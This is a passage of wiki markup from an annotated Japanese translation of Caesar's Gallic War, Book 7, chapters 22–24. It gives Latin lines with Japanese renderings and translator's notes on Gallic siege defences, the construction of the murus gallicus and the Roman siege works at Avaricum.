*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Hoc &lt;u&gt;cum&lt;/u&gt; in [[wikt:en:species#Latin|speciem]] [[wikt:en:varietas#Latin|varietatem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:opus#Latin|opus]] [[wikt:en:deformis#Latin|deforme]] non est [[wikt:en:alternus#Latin|alternis]] [[wikt:en:trabs#Latin|trabibus]] ac [[wikt:en:saxum#Latin|saxis]], 
**&lt;ruby&gt;&lt;rb&gt;この&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ホク&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、互い違いの&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により、変化に富む外観において不格好でなく、
*quae [[wikt:en:rectus#Latin|rectis]] [[wikt:en:linea#Latin|lineis]] suos [[wikt:en:ordo#Latin|ordines]] [[wikt:en:servant#Latin|servant]], 
**──それら&lt;small&gt;〔木材と石〕&lt;/small&gt;は真っ直ぐな線により、その&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を保っているのだが──
*&lt;u&gt;tum&lt;/u&gt; ad [[wikt:en:utilitas#Latin|utilitatem]] et [[wikt:en:defensio#Latin|defensionem]] [[wikt:en:urbs#Latin|urbium]] 
**同様に、都市の防御の有益性のためにも、
*summam [[wikt:en:habet#Latin|habet]] [[wikt:en:opportunitas#Latin|opportunitatem]], 
**きわめて好都合となっている。
*quod et ab [[wikt:en:incendio#Latin|incendio]] [[wikt:en:lapis#Latin|lapis]] et ab [[wikt:en:aries#Latin|ariete]] [[wikt:en:materia#Latin|materia]] [[wikt:en:defendit#Latin|defendit]], 
**──というのは、&lt;ruby&gt;&lt;rb&gt;石材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ラピス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が火災からも、&lt;ruby&gt;&lt;rb&gt;材木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;マーテリア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;[[w:破城槌|破城槌]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;はじょうつい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からも、防護しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～でもあり、…でもある」）&lt;/span&gt;
*quae [[wikt:en:perpetuus#Latin|perpetuis]] [[wikt:en:trabs#Latin|trabibus]] [[wikt:en:pes#Latin|pedes]] [[wikt:en:quadragenus#Latin|quadragenos]] [[wikt:en:plerumque#Adverb|plerumque]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:revinctus#Latin|revincta]] 
**それ&lt;small&gt;〔短手方向の材木〕&lt;/small&gt;は、たいてい40&lt;u&gt;ペース&lt;/u&gt;にわたって&lt;small&gt;（長手方向に）&lt;/small&gt;続く&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により内部で緊結されており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、40ペースは約12メートル。）&lt;/span&gt;
*neque [[wikt:en:perrumpi#Latin|perrumpi]] neque [[wikt:en:distrahi#Latin|distrahi]] potest.
**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
